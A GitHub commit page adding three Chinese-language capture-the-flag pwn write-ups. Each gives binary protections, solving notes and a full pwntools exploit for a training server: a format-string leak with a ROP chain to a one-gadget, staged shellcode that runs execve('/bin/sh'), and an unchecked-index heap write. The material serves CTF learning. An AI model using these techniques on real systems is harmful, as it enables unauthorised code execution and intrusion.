-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
157ad01
commit d6274c3
Showing
13 changed files
with
796 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,71 @@ | ||
# 123go | ||
|
||
## 文件属性 | ||
|
||
|属性 |值 | | ||
|------|------| | ||
|Arch |x64 | | ||
|RELRO |Full | | ||
|Canary|on | | ||
|NX |on | | ||
|PIE |on | | ||
|strip |no | | ||
|libc |2.31-0ubuntu9.14| | ||
|
||
## 解题思路 | ||
|
||
一次printf,两次scanf,每次16字节,颇有一点难度 | ||
我一看栈的地址,因为ASLR的存在乱跳,不方便硬编码;写2个字节吧,又没有机会leak libc; | ||
因为栈上有跳板`ptr1->ptr2->char[]str`,因此可以`*ptr1=ptr2x->retAddr`(打moectf打的), | ||
然后再`*ptr2x=oneGadget`控制返回流为ogg;但是我检查限制条件时,发现让`r12 == 0`不满足, | ||
故先写`pop r12;ret`的地址到返回地址上,跟一个`p64(0)`,把让r12改成0,再做ogg; | ||
此时发现,scanf岂不是比%n好用多了?所以第一个scanf改的是跳板,第二个改的是返回地址内容 | ||
|
||
值得注意的是,scanf("%s")是不按\0截断的,并且也可以用`%8$s`这种方式指定参数序号 | ||
|
||
## EXPLOIT | ||
|
||
```python | ||
from pwn import * | ||
|
||
def payload(lo:int): | ||
global sh | ||
libc = ELF('./libc-2.31.so') | ||
if lo: | ||
sh = process('123go') | ||
if lo & 2: | ||
gdb.attach(sh) | ||
else: | ||
sh = remote('training.0rays.club', 10039) | ||
|
||
# payload 1, leak stack & libc | ||
sh.sendafter(b'name:', b'%11$p%13$p') | ||
|
||
sh.recvuntil(b'llo:') # skip | ||
libcstartmain = int(sh.recv(14).decode(), 16) | ||
libcBase = libcstartmain - 243 - libc.symbols['__libc_start_main'] | ||
print('libc leaked') | ||
|
||
stack = int(sh.recv(14).decode(), 16) | ||
retAddr = stack - 0x648 + 0x558 | ||
print('stack leaked') | ||
|
||
if libcBase & 0xfff: | ||
print(f'Invalid libcBase ({hex(libcBase)})') | ||
sh.close() | ||
return False | ||
|
||
sh.sendafter(b'text', b'%13$d') | ||
input('type <CR> when ready') # avoid input piling | ||
sh.sendline(str(retAddr & 0xffffffff).encode()) # int is enough | ||
print('addr sent') | ||
|
||
popR12 = libcBase + 0xc9e91 | ||
oneGadget = libcBase + 0xe3afe | ||
sh.sendafter(b'text', b'%41$s') | ||
input('type <CR> when ready') | ||
sh.sendline(p64(popR12) + p64(0) + p64(oneGadget)) | ||
print('payload sent') | ||
|
||
sh.interactive() | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
# The Legend of Shellcode | ||
|
||
## 文件属性 | ||
|
||
|属性 |值 | | ||
|------|------| | ||
|Arch |x64 | | ||
|RELRO |Full | | ||
|Canary|on | | ||
|NX |off | | ||
|PIE |on | | ||
|strip |no | | ||
|libc |2.31-0ubuntu9.12| | ||
|
||
## 解题思路 | ||
|
||
nx没开,栈上放了一堆`ret`,一运行就是`pop rip`,那么控制好rsp,就能让rip跳到下一个read的段; | ||
由于我想的是`add rax,0x10;push rax`的方式移动rip,因此读入9字节,只剩4字节空间了,不适合放"/bin/sh" | ||
字符串,因此考虑在初始读入的位置搓一个`SYSCALL_read`出来方便读入完整的shellcode(打newstar ctf打的), | ||
再跳转过去就可以拿到shell | ||
|
||
> 赛后交流发现short jmp所耗字节更少,还是疏忽了 | ||
## EXPLOIT | ||
|
||
```python | ||
from pwn import * | ||
context.arch = 'amd64' | ||
|
||
def payload(lo:int): | ||
if lo: | ||
sh = process('./code') | ||
if lo & 2: | ||
gdb.attach(sh, gdbscript='b *$rebase(0x13b7)') | ||
else: | ||
sh = remote('training.0rays.club', 10004) | ||
|
||
# section 1 | ||
shc = asm(''' | ||
push rax | ||
xor rdi,rdi | ||
add rax,0x10 | ||
push rax | ||
''') | ||
sh.send(shc) | ||
|
||
# section 2 | ||
shc = asm(''' | ||
pop rbx | ||
mov rdx,r11 | ||
add rax,0x10 | ||
push rax | ||
''') | ||
sh.send(shc) | ||
|
||
# section 3 | ||
shc = asm(''' | ||
push rbx | ||
pop rsi | ||
push rbx | ||
xor rax,rax | ||
syscall | ||
ret | ||
''') | ||
sh.send(shc) | ||
|
||
# skipping rest | ||
sh.sendlineafter(b'sh:', b'') | ||
sh.sendlineafter(b'ht:', b'') | ||
sh.sendlineafter(b'ul:',b'') | ||
|
||
|
||
# section SYSCALL_read | ||
shc = asm(''' | ||
mov rbx, 0x68732f6e69622f | ||
push rbx | ||
push rsp | ||
pop rdi | ||
xor rsi,rsi | ||
xor rdx, rdx | ||
push 0x3b | ||
pop rax | ||
syscall | ||
''') | ||
sh.sendlineafter(b'ru', shc) | ||
|
||
sh.interactive() | ||
``` | ||
|
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
File renamed without changes
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,124 @@ | ||
# heap1 | ||
|
||
## 文件属性 | ||
|
||
|属性 |值 | | ||
|------|------| | ||
|Arch |x64 | | ||
|RELRO|Partial| | ||
|Canary|off | | ||
|NX |on | | ||
|PIE |off | | ||
|strip |yes | | ||
|
||
## 解题思路 | ||
|
||
看似堆题实则根本不是堆题!看了半天`myread`,也没off-by-null,结果是虚晃一枪 | ||
|
||
能分配单元的数量由`gsizes[31]`决定,初始值是0x20,可以通过edit修改,另外还发现除了add函数, | ||
剩下的函数都不检查idx,分配不分配的到指针也不检查,所以可以尝试把目标地址借助size写到`gsizes[0]`中; | ||
由于没开pie,可以很轻松地写入,唯一的问题是edit需要大小,那么可以通过overlap解决 | ||
|
||
``` | ||
建议使用等宽字体 | ||
+------------+ | ||
gbuf[0] -> | 0 | | ||
+------------+ | ||
gsizes[0] -> | 0 | <- gbuf[0 + 0x20] (以下不再赘述) | ||
+------------+ | ||
gsizes[31] -> | 0x20 | | ||
+------------+ | ||
############## | ||
|| 修改能分配的单元数量 | ||
\/ | ||
+------------+ | ||
gbuf[0] -> | 0 | | ||
+------------+ | ||
gsizes[0] -> | 0 | | ||
+------------+ | ||
gsizes[31] -> | 666 | | ||
+------------+ | ||
gsizes[32] -> | 0 | | ||
+------------+ | ||
target -> | 0 | <- need to be 'Seg_Tree' | ||
+------------+ | ||
|| 先给32号单元设置size,方便后面edit | ||
\/ | ||
+------------+ | ||
gbuf[0] -> | 0 | | ||
+------------+ | ||
gsizes[0] -> | 0x410130 | <- assumption | ||
+------------+ | ||
gsizes[31] -> | 666 | | ||
+------------+ | ||
gsizes[32] -> | 9 | | ||
+------------+ | ||
target -> | 0 | | ||
+------------+ | ||
|| 接着设置0号单元,将目标地址放在gsizes[0] (gbuf[32]) 上 | ||
\/ | ||
+------------+ | ||
gbuf[0] -> |0x7f..773200| <- assumption (large memory chunk should be alloced near libc(?)) | ||
+------------+ | ||
gsizes[0] -> | 0x4040c0 | | ||
+------------+ | ||
gsizes[31] -> | 666 | | ||
+------------+ | ||
gsizes[32] -> | 9 | | ||
+------------+ | ||
target -> | 0 | | ||
+------------+ | ||
|| 最后edit32号单元,修改目标地址的内容 | ||
\/ | ||
+------------+ | ||
gbuf[0] -> |0x7f..773200| | ||
+------------+ | ||
gsizes[0] -> | 0x4040c0 | --+ | ||
+------------+ | | ||
gsizes[31] -> | 666 | | | ||
+------------+ | | ||
gsizes[32] -> | 9 | | | ||
+------------+ | | ||
target -> | "Seg_Tree" | <-+ | ||
+------------+ | ||
``` | ||
|
||
## EXPLOIT | ||
|
||
```python | ||
from pwn import * | ||
def payload(lo:int): | ||
if lo: | ||
sh = process('./heap1') | ||
if lo & 0b10: | ||
gdb.attach(sh) | ||
else: | ||
sh = remote("training.0rays.club", 10073) | ||
|
||
def add(idx:int, size:int): | ||
sh.recvuntil(b'ice:') | ||
sh.sendline(b'1') | ||
sh.sendline(str(idx).encode()) | ||
sh.sendline(str(size).encode()) | ||
|
||
def edit(idx:int, cont:bytes): | ||
sh.recvuntil(b'ice:') | ||
sh.sendline(b'3') | ||
sh.sendline(str(idx).encode()) | ||
sh.sendline(cont) | ||
|
||
def Exit(): | ||
sh.recvuntil(b'ice:') | ||
sh.sendline(b'5') | ||
|
||
add(31, 666) | ||
add(32, 9) | ||
add(0, 0x4040c0) | ||
edit(32, b'Seg_Tree') | ||
Exit() | ||
sh.interactive() | ||
``` |
Oops, something went wrong.